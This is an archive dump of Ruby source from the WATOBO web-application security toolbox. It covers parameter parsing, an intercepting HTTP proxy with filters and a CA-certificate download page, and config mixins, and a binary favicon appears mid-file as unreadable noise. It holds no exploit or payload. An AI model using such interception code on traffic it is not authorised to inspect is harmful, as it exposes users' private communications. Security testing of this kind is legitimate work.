not exist #{parm_name}" end child = node.nil? ? nil : node.children.first if child.nil? child = Nokogiri::XML::Text.new(parm.value, node) node.add_child child else child.content = parm.value end @root.set_body doc.to_s end def has_parm?(parm_name) false end def parameters(*opts, &block) params = [] return params unless @root.is_xml? leaf_nodes do |n| p = { :name => n.name } val = n.children.size == 0 ? "" : n.children.first.to_s p[:value] = val parent_name = "" unless n.parent.namespace.nil? || n.parent.namespace.prefix.nil? parent_name << n.parent.namespace.prefix parent_name << ":" end parent_name << n.parent.name p[:parent] = "#{parent_name}" unless n.namespace.nil? p[:namespace] = n.namespace.prefix end param = XmlParameter.new(p) yield param if block_given? params << param end return params end def initialize(root) @root = root end private def leaf_nodes(&block) nodes = [] return nodes unless @root.has_body? begin doc = Nokogiri::XML(@root.body.strip) #ns = doc.children.first.namespace #prefix = ns.nil? ? '' : ns.prefix # check if doc has a body element start = doc # doc.traverse { |node| # if node.name =~ /^body$/i # start = node # end # } start.traverse { |node| if node.children.size == 0 and node.is_a? Nokogiri::XML::Element yield node if block_given? nodes << node end if node.children.size == 1 if node.children.first.is_a? Nokogiri::XML::Text yield node if block_given? nodes << node end end } rescue => bang puts bang puts bang.backtrace if $DEBUG end nodes end end end endwatobo-1.0.1/lib/watobo/http/headers/000077500000000000000000000000001366346341400174515ustar00rootroot00000000000000watobo-1.0.1/lib/watobo/http/headers/headers.rb000066400000000000000000000035561366346341400214220ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module HTTP class Headers SKIP_HEADERS = %w( Connection Content-Length ).map{|m| m.upcase } def to_s s = [] @headers.each_value do |v| s << "#{v.name}=#{v.value}" end s.join("\n") end def inspect self.to_a end def empty? @headers.empty? end def clear @headers.clear end def to_a binding.pry @headers.values end def each(&block) @headers.each_value do |h| yield h if block_given? end end def set(param) @root.set_header(param.name, param.value) end def has_parm?(parm_name) false end #def def parameters(&block) params = [] @headers.each_value do | h | yield h if block_given? params << h end params end def initialize(root) @root = root @headers = {} init_header_params end private def init_header_params raw_headers = @root.headers raw_headers.shift raw_headers.each do |line| begin # skip cookies because they are handled by Cookies class. next if line =~ /^(Set\-)?Cookie2?: (.*)/i i = line.index(":") next if i.nil? name = line[0..i - 1] next if SKIP_HEADERS.include?( name.upcase ) value = i < line.length ? line[i + 1..-1] : "" header_prefs = {} header_prefs[:name] = name.strip header_prefs[:value] = value.strip @headers[name] = Watobo::HeaderParameter.new(header_prefs) end end end module Mixin def headers @headers ||= Headers.new(self) end end end end endwatobo-1.0.1/lib/watobo/http/url/000077500000000000000000000000001366346341400166405ustar00rootroot00000000000000watobo-1.0.1/lib/watobo/http/url/url.rb000066400000000000000000000016401366346341400177700ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module HTTP class Url def to_s @root.url_string end def set(parm) if has_parm?(parm.name) @root.replace_get_parm(parm.name, parm.value) else @root.add_get_parm(parm.name, parm.value) end end def clear @root.removeUrlParms end def has_parm?(parm_name) @root.get_parm_names do |pn| return true if pn == parm_name end false end def parameters(&block) parms = [] # binding.pry @root.get_parms.each do |p| p.strip! i = p.index("=") name = p[0..i-1] val = i < p.length ? p[i+1..-1] : "" parms << Watobo::UrlParameter.new(:name => name, :value => val) end parms end def initialize(root) @root = root end end end endwatobo-1.0.1/lib/watobo/interceptor.rb000066400000000000000000000001211366346341400177340ustar00rootroot00000000000000%w( proxy transparent ).each do |lib| require "watobo/interceptor/#{lib}" end watobo-1.0.1/lib/watobo/interceptor/000077500000000000000000000000001366346341400174155ustar00rootroot00000000000000watobo-1.0.1/lib/watobo/interceptor/html/000077500000000000000000000000001366346341400203615ustar00rootroot00000000000000watobo-1.0.1/lib/watobo/interceptor/html/favicon.ico000066400000000000000000003025361366346341400225130ustar00rootroot00000000000000 hV  00 %f@@ (B; (6}(  =11$ u ~ Iv  t6q21 oo\(()t P|<<-`&&kkz778M\\]&%%  ??Q ggm~~~tffynn\\{$]]\pp qpp\@ZZWnn77 !!^jjdRR00''H00D I88NuggMM88#RTOCCC]]]cccߜpppfffzzzQ!!!Iꇷ]]]SSSjjjojjj( @ 4 7''9Bc g. dBy R & k  oH$}8 b3򧧨F .66SUUP555EEGX?jjj, CCK(####ffrm\\Z l%%%??wee^kvHHHc O9... q:::SSSq ##%%S555///wwjK66PgggJ;;;}II[ T}kqqq_UUUii{XccVzzm{DD6BBBwSSS'iiiBBvdBhp1>>>BBBT$$|ZZT b z((( Opq44++iyyn$$M77\AA~8AAVFFp | ``BNHHPR(|&&0 B 5##5Q)TT{66rp!!tiilI$$==zGGsjjffk  žqqqrJJoPdddo:::WWWhhh??? JJJZLLLyyy[[[,,,GGGTTTWWWFFF~~~777%%%ccc8ccc000 CCC000Ǭaaa|||,,,PPP;D}}}[[[\\\wwwAAAs{{{N>[zzzʙA????(0`   H;$  0##,,,,''     s-0-$~U!!00++A=WWTISDV939=@<=:' zSB;3,q$B8'  oID1g kO:0)!(  H  z )==5> V/a lF7==9[[[BBBGkk\4 q:"kKKNVVN55KSqVV\ggfaaaggg66$ } k11WWS< o@@a((JAa-,,)..9Ar pp'JJJGGD::Dnnh8'' ddd<<=L))>V=**)```'''cc776 { kpAAAAA} )((=V3%%%\f J44(LLM.I$$$Qn3 [ ijjjioon999b(((Z;;:y// rMMN +jjjooo222vEE^NNBcyyh**j##_RRRXlll;;;33\66F33:!!XUFFEpZZZLLLFF\Vɿ""lSHHZ..*666ccc00Lb``L 22=++Z##P&&lll}}}!!Q}::? tte44]s!YYWyyzuuu ۗemm\333Y+==8TTTzzz 곳 __bbS\\V44UF''&//-KKK HHz554Sſ99Xh### **l$$CEE3uu+FF5.---!cc=vvh u Uii< 6\\1,,,0 QQ~bGGDWWU}} v'X77555@///Knn|03000< QGGZ g/#p+""1 qqP##U++`hL%L SF OAAK""Kn u,1Bx@@,, ''pp u**++55MMJJNNaallmmtt}xggQ""opn &&33"xx|nnvggzQQvII<??????? ?(@ n[! QRn}}}}}wlDi!%/7A K S \ g pzB mK']LN4r R2 # 4111 bNXXXık=b 2** !'''aaaG`" d&zAA;ooo(((>>>** ??@8,Y ///* f11,UUP gqqq 2 www IE```Q,]͍GGG} 22* j&&&###||{ .jjl #QQQ  7le  q@@:- 0m:::Jnnn2S5`6222TTT???%%%T {K M rAA?[[[ ###777 yGG< Kqqr= O !!!NNN  '2```FF4ppr6 dOON|GGA ;yyyHH/7   F  W  ~FFC 8'''hhh;-}GGC$ GG@DDDCCCvvvZRHH7%%"y::.''XXX999 ===X u 2''8$$$)))@@@ryys" ((!!!DDD WWM ?CC@ uCwwx((/// PPF] '':eee#;;;QQLdPPOQQK aaa0PPPOOFSSRb WWXiiiE 33+zzw B##"ۂo" llj ? ~-PPL _wwvlC fff990GGDPo 77711,--'GGE>|&w))y/HHHRfTHy++*pppL wfVF7,`..;O[ w P##nnlD lWK6**,44 555555"xxlwwqssqSSSS7UUY/KKMz``XMMCDD8KK:OOD 4ax K--<<599)::/oofwwo}}x| dddF KKKmmiAA=AA f ,hhhAAAaaa+++bbb---G111777qqq rrrK"eeeEEE&&& GGG~~~``` $222BSSS{111]]]>>>+++F☹ NNNJJJ---mmmIII ccc]]]222 111eee666999000.UUU"""AAAZ/ԣ㗗TTT%%% CCC{{{222777///HHHrrr1 hhh󎎎'''///uuuuh9j̎wwwJJJ666nnn000 !!!mmmi(FFF :::|||jrCCC )))ooo,,,,,, 333⭭-EEE### <<A?<99<C J P Y _hpy)UR,u U;-#nHH3mM PHp ]I8+x|.O  o_C" !f@ I`mN ~Ff X0k" 4---񡡡sI/qRm < d555bbbb#G {E~!!3348 j!!!666[[[W3!  p[>% yA 0 f :::777HHH܀bKLG <0%""! "JJJ!!!333YYYӑppqoq TTTS \NNNhhh999 *x lll- xxxQQQ000SA~n9Hzzz+++ a a)))G, ST333 111WDDDDAAAR4Zaaa :::hhhgr... kW%%%w1YYY-   V777q=OӸ***aaa``` xxx+++ i ܗDDDHHH$ T%%%ssr8_bbb222)sssQQR 8"&&&,@ccc QZ zzz<HHIYYZ w"\...YYYCCCl8 U FFF GGG//0 O{***!@>>>334^; P(tUGGG555 FM jK zzz{iP`>>>)))((&$ \  b t tPPP[!i<<<555xxxB l9-000bbb_!i///<<<|||aH L%%%###HHHppp#qFFF|||~# FwdddNNN+++ fffSSSooo (, *ZZZyyy]]]CCC7Q d ?GGG<<<2 bbbggg??> U$$% ++ l,,-UUU "QQQvvv??=y--.  oZZ[((q jjj 'KKK@@>"---MMNI""!&&_GOOOwww 10MMM00(F""! " z rFFF&&"M665###I7FFF"""v2iii%%%/sss&&#>* (((|||\ Q===%%% Jooo***5""#&&$8 Saaa333ooogd444--- dqqqc2222&&$5ccc999aaaov///;;;x444=== &&$2"JJJRRRq|%%%AAA660'998lll>Njjj&&%/ ]PPP ===~KKKM;;9!!!r, &&%+ UUU!!!xYYY p&&&$443 t""!(; bbb hiii Bjjjjjj &/ HHG% \[[[www!!! mmm xxx  h;;<Y++,KKJ!DDCzzz(((zzz MMM 11/eee /KKK1hhh/// mmm5 444==;$ UUTppp#DDDKKKL888 aaa> ==9/( $$$VGdddKKK/// RRR<::6>D  KKK)EEE<<+++  V b ^^^<EEEKKK Y666=V+++))) jqAAAOOO S$$$KKK )));tttV###222  ~886''' Y...JJK +&&&덍MbbbVIII   997))(.bbbHHH PXXXXXXXY]]] ,00.NNN3 w DDEu :::UFFFU{{{)=000j9--.h- H555U 8P EEE  \t ccc +++W  D d eee:M P__`썍S  W x !!! {D?:::MMM***tv! mQQQ9 e***222%%% , dde -,www '''$$$: JJJk{___&<K{{{+++%%%!K```yyy$$%% crrr3###555$$$/ cYYY222444uuu#%iiiD+++;;;@!<^^^D"""LLLO   ` @@@?TTT^* vC ???B??? w8 "+ ===?%%%555 E  I!3TTT9$$$ NNN  W===  ]'2 nnn TTT %Aq }}~ t c5+ ###  * \!!![[[}}}222  6 lk$   f7667WWWSSS$p | If"'''889 ^ seYA@<GGG Y w`I3,)&$!s !J_q m, sss5a o[E/ ..",,",,&..*--,**( =(2  (2<FTdv  f#@@@'''3 ~ z l `SH@80)!  <<2cc\cc_ccaccccceddeeeegggpppAAA $$$ooo  222 bbbPPO//,22.33/44/33-..'))"  ,>KYft ` (()''(   --&11*11+22+11+11,11-11-&&#'''MMM’!!!rrr??;  #).4<FQ\gq{ U~~~sssiihcccvvvmmmEEE\  !"#8Wu  eecIII  $$$qqq}}}~~~}}}|||yyyyyyuuu !! !!    iij+++''' 777 <<watobo-1.0.1/lib/watobo/interceptor/html/index.html000066400000000000000000000004561366346341400223630ustar00rootroot00000000000000 WATOBO - Interceptor

Thank you for using WATOBO - The Webapplication Toolbox

Info:
Version: WATOBO_VERSION
Home dir: WATOBO_HOME


Download Certificate watobo-1.0.1/lib/watobo/interceptor/proxy.rb000077500000000000000000000604571366346341400211420ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Interceptor # class Proxy include Watobo::Constants attr :port attr_accessor :proxy_mode # attr_accessor :contentLength #attr_accessor :contentTypes attr_accessor :target #attr :www_auth attr_accessor :client_certificates def self.transparent? return true if (Watobo::Conf::Interceptor.proxy_mode & Watobo::Interceptor::MODE_TRANSPARENT) > 0 return false end def watobo_srv_get(file) srv_file = file.empty? ? File.join(@srv_path, 'index.html') : File.join(@srv_path, file) if File.exist? srv_file ct = case srv_file when /\.ico/ "image/vnd.microsoft.icon" when /\.htm/ 'text/html; charset=iso-8859-1' else 'text/plain' end headers = ["HTTP/1.0 200 OK", "Server: Watobo-Interceptor", "Connection: close", "Content-Type: #{ct}"] content = File.open(srv_file, "rb").read content.gsub!('WATOBO_VERSION', Watobo::VERSION) content.gsub!('WATOBO_HOME', Watobo.working_directory) headers << "Content-Length: #{content.length}" r = headers.join("\r\n") r << "\r\n\r\n" r << content return r end headers = ["HTTP/1.0 404 Not Found", "Server: Watobo-Interceptor", "Connection: close", "Content-Type: text/plain; charset=iso-8859-1"] content = "The requested file (#{file}) does not exist in the interceptor web folder." headers << "Content-Length: #{content.length}" r = headers.join("\r\n") r << "\r\n\r\n" r << content return r end def cert_response crt_file = File.join(Watobo.working_directory, "CA", "cacert.pem") headers = ["HTTP/1.0 200 OK", "Server: Watobo-Interceptor", "Connection: close", "Content-Type: application/x-pem-file"] content = File.read(crt_file) headers << "Content-Length: #{content.length}" r = headers.join("\r\n") r << "\r\n\r\n" r << content end def server @bind_addr end def subscribe(event, &callback) (@event_dispatcher_listeners[event] ||= []) << callback end def clearEvents(event) @event_dispatcher_listener[event].clear end def getResponseFilter() YAML.load(YAML.dump(@response_filter_settings)) end def getRequestFilter() YAML.load(YAML.dump(@request_filter_settings)) end def setResponseFilter(new_settings) @response_filter_settings.update new_settings unless new_settings.nil? end def setRequestFilter(new_settings) @request_filter_settings.update new_settings unless new_settings.nil? # puts @request_filter_settings.to_yaml end def clear_request_carvers @request_carvers.clear unless @request_carvers.nil? end def clear_response_carvers @response_carvers.clear unless @response_carvers.nil? end def addPreview(response) preview_id = Digest::MD5.hexdigest(response.join) @preview[preview_id] = response return preview_id end def stop() begin puts "[#{self.class}] stop" if @t_server.respond_to? :status puts @t_server.status Thread.kill @t_server @intercept_srv.close end rescue IOError => bang puts bang puts bang.backtrace if $DEBUG end end # # R U N # def self.start(settings = {}) proxy = Proxy.new(settings) proxy.start proxy end def start() @wait_queue = Queue.new if transparent? Watobo::Interceptor::Transparent.start end begin @intercept_srv = TCPServer.new(@bind_addr, @port) @intercept_srv.setsockopt(Socket::SOL_SOCKET, Socket::SO_KEEPALIVE, 1) rescue => bang puts "\n!!!Could not start InterceptProxy" puts bang return nil end puts "\n* Intercepor started on #{@bind_addr}:#{@port}" session_list = [] puts "!!! TRANSPARENT MODE ENABLED !!!" if transparent? @t_server = Thread.new(@intercept_srv) { |server| while (new_session = server.accept) # new_session.sync = true new_sender = Watobo::Session.new(@target) Thread.new(new_sender, new_session) { |sender, session| #puts "* got new request from client" c_sock = Watobo::HTTPSocket::ClientSocket.connect(session) #puts "ClientSocket: #{c_sock}" Thread.exit if c_sock.nil? Thread.exit unless c_sock.respond_to? :close # # loop for reusing client connections max_loop = 0 loop do flags = [] begin request = c_sock.request if request.nil? or request.empty? then print "c/" c_sock.close Thread.exit end url = (request.url.to_s.length > 65) ? request.url.to_s.slice(0, 65) + "..." : request.url.to_s puts "\n[I] #{url}" rescue => bang puts "!!! Error reading client request " puts bang puts bang.backtrace c_sock.close Thread.exit end #if request.host =~ /safebrowsing.*google\.com/ # c_sock.close # Thread.exit #end # check if preview is requested if request.host =='watobo.localhost' or request.first =~ /WATOBOPreview/ then if request.first =~ /WATOBOPreview=([0-9a-zA-Z]*)/ then hashid = $1 response = @preview[hashid] if response then c_sock.write response.join c_sock.close end end #next Thread.exit end # check for watobo info page if request.host =~ /^watobo$/ if request.path =~ /watobo\.pem/ response = cert_response else response = watobo_srv_get(request.path) end c_sock.write response c_sock.close Thread.exit end request_intercepted = false # no preview, check if interception request is turned on if Watobo::Interceptor.rewrite_requests? then Interceptor::RequestCarver.shape(request, flags) puts "FLAGS >>" puts flags end if @target and Watobo::Interceptor.intercept_requests? then if matchRequestFilter(request) @awaiting_requests += 1 request_intercepted = true if @target.respond_to? :addRequest Watobo.print_debug "send request to target" @target.addRequest(request, Thread.current) Thread.stop else p "! no target for editing request" end @awaiting_requests -= 1 end end begin s_sock, req, resp = sender.sendHTTPRequest(request, :update_sids => true, :update_session => false, :update_contentlength => true, :www_auth => @www_auth # :client_certificates => @client_certificates ) if s_sock.nil? then puts "s_sock is nil! bye, bye, ..." puts request if $DEBUG c_sock.write resp.join unless resp.nil? c_sock.close Thread.exit end rescue => bang puts bang puts bang.backtrace if $DEBUG c_sock.close Thread.exit end # check if response should be passed through #Thread.current.exit if isPassThrough?(req, resp, s_sock, c_sock) if isPassThrough?(req, resp, s_sock, c_sock) #puts "[Interceptor] PassThrough >> #{req.url}" Watobo::HTTPSocket.close s_sock c_sock.close Thread.exit end begin missing_credentials = false rs = resp.status auth_type = AUTH_TYPE_NONE if rs =~ /^(401|407)/ then missing_credentials = true resp.each do |rl| if rl =~ /^(Proxy|WWW)-Authenticate: Basic/i auth_type = AUTH_TYPE_BASIC break elsif rl =~ /^(Proxy|WWW)-Authenticate: NTLM/i auth_type = AUTH_TYPE_NTLM break end end # when auth type not basic assume it's ntlm -> ntlm credentials must be set in watobo unless auth_type == AUTH_TYPE_NONE if auth_type == AUTH_TYPE_NTLM if rs =~ /^401/ then resp.push "WATOBO: Server requires (NTLM) authorization, please set WWW_Auth Credentials!" resp.shift resp.unshift "HTTP/1.1 200 OK\r\n" else resp.push "WATOBO: Proxy requires (NTLM) authorization, please set Proxy Credentials!" resp.shift resp.unshift "HTTP/1.1 200 OK\r\n" end end end end # don't try to read body if request method is HEAD unless auth_type == AUTH_TYPE_UNKNOWN or req.method =~ /^head/i sender.readHTTPBody(s_sock, resp, req, :update_sids => true) Watobo::HTTPSocket.close s_sock end rescue => bang puts "!!! could not send request !!!" puts bang puts bang.backtrace if $DEBUG # puts "* Error sending request" end begin # Watobo::Response.create resp #resp = Watobo::Response.new resp # puts "* unchunk response ..." resp.unchunk! # puts "* unzip response ..." resp.unzip! if Watobo::Interceptor.rewrite_responses? then Interceptor::ResponseCarver.shape(resp, flags) end if @target and Watobo::Interceptor.intercept_responses? then if matchResponseFilter(resp) # if resp.content_type =~ /text/ or resp.content_type =~ /application\/javascript/ then if @target.respond_to? :modifyResponse @target.modifyResponse(resp, Thread.current) Thread.stop else p "! no target for editing response" end end end # puts ">> SEND TO CLIENT" # puts ">>C<< - Close: #{request.connection_close?}" # request.headers("Connection"){ |h| puts h } if missing_credentials resp.set_header("Connection", "close") elsif request.connection_close? or resp.content_length < 0 or max_loop > 4 # resp.set_header("Proxy-Connection","close") resp.set_header("Connection", "close") else resp.set_header("Connection", "keep-alive") resp.set_header("Keep-Alive", "max=4, timeout=120") end resp_data = resp.join c_sock.write resp_data chat = Chat.new(request.copy, resp.copy, :source => CHAT_SOURCE_INTERCEPT) Watobo::Chats.add chat rescue Errno::ECONNRESET print "x" # puts "!!! ERROR (Reset): reading body" # puts "* last data seen on socket: #{buf}" #return c_sock.close Thread.exit rescue Errno::ECONNABORTED print "x" #return c_sock.close Thread.exit rescue => bang puts "!!! Error (???) in Client Communication:" puts bang puts bang.class puts bang.backtrace #if $DEBUG #return c_sock.close Thread.exit end # TODO: place check into ClientSocket, because headers must be checked and changed too # e.g. if c_sock.open? if missing_credentials or request.connection_close? or resp.content_length < 0 or max_loop > 4 c_sock.close Thread.exit end max_loop += 1 end } end } end def refresh_www_auth @www_auth = Watobo::Conf::Scanner.www_auth end def initialize(settings=nil) @event_dispatcher_listeners = Hash.new @pass_through_hosts = ['safebrowsing.*google\.com', 'download.cdn.mozilla.net', 'shavar.services.mozilla.com'] begin puts puts "=== Initialize Interceptor/Proxy ===" #Watobo::Interceptor.proxy_mode = INTERCEPT_NONE init_instance_vars @srv_path = File.join(File.dirname(__FILE__), 'html') @awaiting_requests = 0 @awaiting_responses = 0 @request_filter_settings = { :site_in_scope => false, :method_filter => '(get|post|put)', :negate_method_filter => false, :negate_url_filter => false, :url_filter => '', :file_type_filter => '(jpg|gif|png|jpeg|bmp)', :negate_file_type_filter => true, :parms_filter => '', :negate_parms_filter => false #:regex_location => 0, # TODO: HEADER_LOCATION, BODY_LOCATION, ALL } @response_filter_settings = { :content_type_filter => '(text|script)', :negate_content_type_filter => false, :response_code_filter => '2\d{2}', :negate_response_code_filter => false, :request_intercepted => false, :content_printable => true, :enable_printable_check => false } @preview = Hash.new @preview['ProxyTest'] = ["HTTP/1.0 200 OK\r\nServer: Watobo-Interceptor\r\nConnection: close\r\nContent-Type: text/html; charset=iso-8859-1\r\n\r\nPROXY_OK"] @dh_key = Watobo::CA.dh_key rescue => bang puts "!!!could not read certificate files:" puts bang puts bang.backtrace if $DEBUG end end private def init_instance_vars @www_auth = Watobo::Conf::Scanner.www_auth @fake_certs = {} @client_certificates = {} @target = nil # @sender = Watobo::Session.new(@target) @bind_addr = Watobo::Conf::Interceptor.bind_addr # puts "> Server: #{@bind_addr}" @port = Watobo::Conf::Interceptor.port # puts "> Port: #{@port}" @proxy_mode = Watobo::Conf::Interceptor.proxy_mode pt = Watobo::Conf::Interceptor.pass_through @contentLength = pt[:content_length] # puts "> PT-ContentLength: #{@contentLength}" @contentTypes = pt[:content_types] # puts "> PT-ContentTypes: #{@contentTypes}" end # # # matchContentType(content_type) # # def matchContentType?(content_type) @contentTypes.each do |p| return true if content_type =~ /#{p}/ end return false end # # # matchRequestFilter(request) # # def matchRequestFilter(request) match_url = true # puts @request_filter_settings.to_yaml url_filter = @request_filter_settings[:url_filter] if url_filter != '' match_url = false if request.url.to_s =~ /#{url_filter}/i match_url = true end if @request_filter_settings[:negate_url_filter] == true match_url = (match_url == true) ? false : true end end return false if match_url == false match_method = true method_filter = @request_filter_settings[:method_filter] if method_filter != '' match_method = false if request.method =~ /#{method_filter}/i match_method = true end if @request_filter_settings[:negate_method_filter] == true match_method = (match_method == true) ? false : true end end return false if match_method == false match_ftype = true ftype_filter = @request_filter_settings[:file_type_filter] if ftype_filter != '' match_ftype = false if request.doctype != '' and request.doctype =~ /#{ftype_filter}/i match_ftype = true end if @request_filter_settings[:negate_file_type_filter] == true match_ftype = (match_ftype == true) ? false : true end end return false if match_ftype == false match_parms = true parms_filter = @request_filter_settings[:parms_filter] if parms_filter != '' # puts "!PARMS FILTER: #{parms_filter}" match_parms = false puts request.parms match_parms = request.parms.find { |x| x =~ /#{parms_filter}/ } match_parms = (match_parms.nil?) ? false : true if @request_filter_settings[:negate_parms_filter] == true match_parms = (match_parms == true) ? false : true end end return false if match_parms == false true end # # # matchResponseFilter(response) # # def matchResponseFilter(response) match_ctype = true ct_filter = @response_filter_settings[:content_type_filter] unless ct_filter.empty? match_ctype = false negate = @response_filter_settings[:negate_content_type_filter] if response.content_type =~ /#{ct_filter}/ match_ctype = true end if negate == true match_ctype = (match_ctype == true) ? false : true end end return false if match_ctype == false #puts "* pass ctype filter" match_rcode = true rcode_filter = @response_filter_settings[:response_code_filter] negate = @response_filter_settings[:negate_response_code_filter] unless rcode_filter.empty? match_rcode = false puts rcode_filter puts response.responseCode if response.responseCode =~ /#{rcode_filter}/ match_rcode = true end if negate == true match_rcode = (match_rcode == true) ? false : true end end return false if match_rcode == false #puts "* pass rcode filter" true end # # # pass_through(server, client, maxbytes) # # def pass_through(server, client, maxbytes = 0) bytes_read = 0 while 1 begin #timeout(2) do buf = nil buf = server.readpartial(2048) #end rescue EOFError #client.write buf if buf #print "~]" # msg = "\n[pass_through] EOF - " # msg += buf.nil? ? "nil" : buf.size # puts msg return if buf.nil? rescue Errno::ECONNRESET # puts "!!! ERROR (Reset): reading body" # puts "* last data seen on socket: #{buf}" # msg = "!R - " # msg += buf.nil? ? "nil" : buf.size # msg << " !\n" # puts msg return if buf.nil? rescue Timeout::Error #puts "!!! ERROR (Timeout): reading body" #puts "* last data seen on socket:" #client.write buf if buf print "T" return rescue => bang puts "!!! could not read body !!!" puts bang puts bang.class puts bang.backtrace if $DEBUG # puts "* last data seen on socket:" # print "~]" #client.write buf if buf return end begin return if buf.nil? # print "~" client.write buf bytes_read += buf.length # puts "#{server} #{bytes_read} of #{maxbytes}" if maxbytes > 0 and bytes_read >= maxbytes #print "~]" return end rescue Errno::ECONNRESET #print "~x]" # puts "!!! ERROR (Reset): reading body" # puts "* last data seen on socket: #{buf}" return rescue Errno::ECONNABORTED # print "~x]" return rescue Errno::EPIPE # print "~x]" return rescue => bang puts "!!! client communication broken !!!" puts bang puts bang.class puts bang.backtrace if $DEBUG return end end end def transparent? (@proxy_mode & Watobo::Interceptor::MODE_TRANSPARENT) > 0 end def isPassThrough?(request, response, s_sock, c_sock) begin # return false if true reason = nil clen = response.content_length # no pass-through necessary if request method is HEAD return false if request.method =~ /^head/i if matchContentType?(response.content_type) then # first forward headers #c_sock.write response.join reason = [] reason.push "---> WATOBO: PASS_THROUGH <---" reason.push "Reason: Content-Type = #{response.content_type}" elsif clen > @contentLength # puts "PASS-THROUGH: #{response.content_length}" #c_sock.write response.join reason = [] reason.push "---> WATOBO: PASS_THROUGH <---" reason.push "Reason: Content-Length > #{@contentLength} (#{response.content_length})" end @pass_through_hosts.each do |p| if request.host =~ /#{p}/ c_sock.write response.join pass_through(s_sock, c_sock, clen) return true end end return false if reason.nil? response.remove_header("Keep-Alive") response.set_header("Connection", "close") c_sock.write response.join reason.push "* DO MANUAL REQUEST TO GET FULL RESPONSE *" response.push reason.join("\n") chat = Watobo::Chat.new(request, response, :source => CHAT_SOURCE_INTERCEPT) #notify(:new_interception, chat) Watobo::Chats.add chat pass_through(s_sock, c_sock, clen) # puts "* Close Server Socket..." #closeSocket(c_sock) # puts "* Close Client Socket..." #closeSocket(s_sock) # puts "... done." return true rescue => bang puts bang puts bang.backtrace if $DEBUG end return false end end end end watobo-1.0.1/lib/watobo/interceptor/transparent.rb000066400000000000000000000007171366346341400223100ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Interceptor module Transparent @nfq_drb = nil def self.start DRb.start_service @nfq_drb = DRbObject.new nil, "druby://127.0.0.1:9090" end def self.info(data) nfo = nil begin nfo = @nfq_drb.info(data) rescue => bang puts "! could not query nfq_server" puts bang end nfo end end end end watobo-1.0.1/lib/watobo/mixins.rb000066400000000000000000000005401366346341400167120ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module Mixins mixins_path = File.expand_path(File.join(File.dirname(__FILE__), "mixins")) # puts "* loading mixins #{mixins_path}" Dir.glob("#{mixins_path}/*.rb").each do |cf| puts "+ #{File.basename(cf)}" if $DEBUG require File.join("watobo","mixins", File.basename(cf)) end end endwatobo-1.0.1/lib/watobo/mixins/000077500000000000000000000000001366346341400163665ustar00rootroot00000000000000watobo-1.0.1/lib/watobo/mixins/check_info.rb000066400000000000000000000011321366346341400210000ustar00rootroot00000000000000# @private module Watobo#:nodoc: all module CheckInfoMixin module InfoMethods def check_name #puts self.methods.sort info = instance_variable_get("@info") return nil if info.nil? return info[:check_name] end def check_group info = instance_variable_get("@info") return nil if info.nil? return info[:check_group] end end extend InfoMethods def self.included( other ) other.extend InfoMethods end #:name => "#{check.info[:check_group]}|#{check.info[:check_name]}", end endwatobo-1.0.1/lib/watobo/mixins/config.rb000066400000000000000000000051621366346341400201640ustar00rootroot00000000000000module Watobo class ConfigClazz < OpenStruct # Filename of default location # @return [String] def filename stack = ( @owner.is_a?(Class) ? @owner.to_s : @owner.class.to_s ).split('::') clazz_name = stack.pop grp_name = stack.pop subdir = grp_name.nil? ? '' : Watobo::Utils.snakecase(grp_name) cname = Watobo::Utils.snakecase(clazz_name) wd = Watobo.working_directory conf_dir = File.join(wd, 'conf') Dir.mkdir conf_dir unless File.exist? conf_dir grp_dir = File.join(conf_dir, subdir) Dir.mkdir grp_dir unless File.exist? grp_dir File.join(grp_dir, cname + '_settings.yml') end # checks if default configuration files exists # @return [Bool] def exist? File.exist? filename end def to_s s = [] each_pair do |k, v| s << "#{k}: #{v}" end s.join("\n") end # clear/resets the current configuration def clear marshal_load({}) end # Loads values from configuration file # the content should be a yaml file with symbol keys. Strings as key don't work because of OpenStruct.marshal_load # functionality. # @param file [String] filename, if none is given the default location will be used # @param block [Block] yields to block for whatever # @return [Bool] def load(file = nil, &block) cfg_file = file.nil? ? filename : file return false unless File.exist?(cfg_file) cfg = YAML.load_file(cfg_file) puts "* loading configuration for #{@owner} (#{@owner.class}) ... " if $DEBUG marshal_load(cfg) true end # Saves the current configuration # @param file [String] alternative filename # @param block [Block] yields dup of current config. can be altered for storing, e.g. remove sensitive # information. Running config will not be touched. def save(file = nil, &block) cfg_file = file.nil? ? filename : file puts 'saving ...' if $DEBUG cfg = self.dup cfg = yield cfg if block_given? File.open(filename, 'w') {|fh| fh.puts YAML.dump(self.to_h)} true end def initialize(owner) @owner = owner super() end end module Config def self.included(base) base.instance_variable_set('@config', ConfigClazz.new(base)) base.send :define_singleton_method, :config do instance_variable_get('@config') end end def self.extended(base) base.instance_variable_set('@config', ConfigClazz.new(base)) base.send :define_singleton_method, :config do instance_variable_get('@config') end end end endwatobo-1.0.1/lib/watobo/mixins/httpparser.rb000077500000000000000000000474041366346341400211230ustar00rootroot00000000000000# http://www.ietf.org/rfc/rfc2396.txt # http://en.wikipedia.org/wiki/URI_scheme # # http://www.mysite.com:80/my/path/show.php?p=aaa&debug=true # # proto = "http" # host = "www.mysite.com" # site = "www.mysite.com:80" # dir = "my/path" # file = "show.php" # file_ext = "show.php?p=aaa&debug=true" # path = "my/path/show.php" # query = "p=aaa&debug=true" # fext = "php" # path_ext = "my/path/show.php?p=aaa&debug=true" # @private module Watobo #:nodoc: all module Mixin module Parser module Parameters def each(prefs, &block) end end module Url include Watobo::Constants def file #@file ||= nil #return @file unless @file.nil? if self.first =~ /^[^[:space:]]{1,} [a-zA-Z]+:\/\/[\-0-9a-zA-Z.]*[:0-9]{0,6}[^\?]*\/(.*) HTTP.*/ tmp = $1 end_of_file_index = tmp.index(/\?/) if end_of_file_index.nil? @file = tmp elsif end_of_file_index == 0 @file = "" else @file = tmp[0..end_of_file_index-1] end else @file = "" end end def file_ext #@file_ext ||= nil #return @file_ext unless @file_ext.nil? if self.first =~ /^[^[:space:]]{1,} [a-zA-Z]+:\/\/[\-0-9a-zA-Z.]*[:0-9]{0,6}[^\?]*\/(.*) HTTP.*/ @file_ext = $1 else @file_ext = '' end end # returns a string containing all urlparms # e.g. "parm1=first&parm2=second" def urlparms begin off = self.first.index('?') return nil if off.nil? eop = self.first.index(' HTTP/') return nil if eop.nil? parms = self.first[off+1..eop-1] return parms rescue => bang puts bang puts bang.backtrace if $DEBUG end return nil end def method if self.first =~ 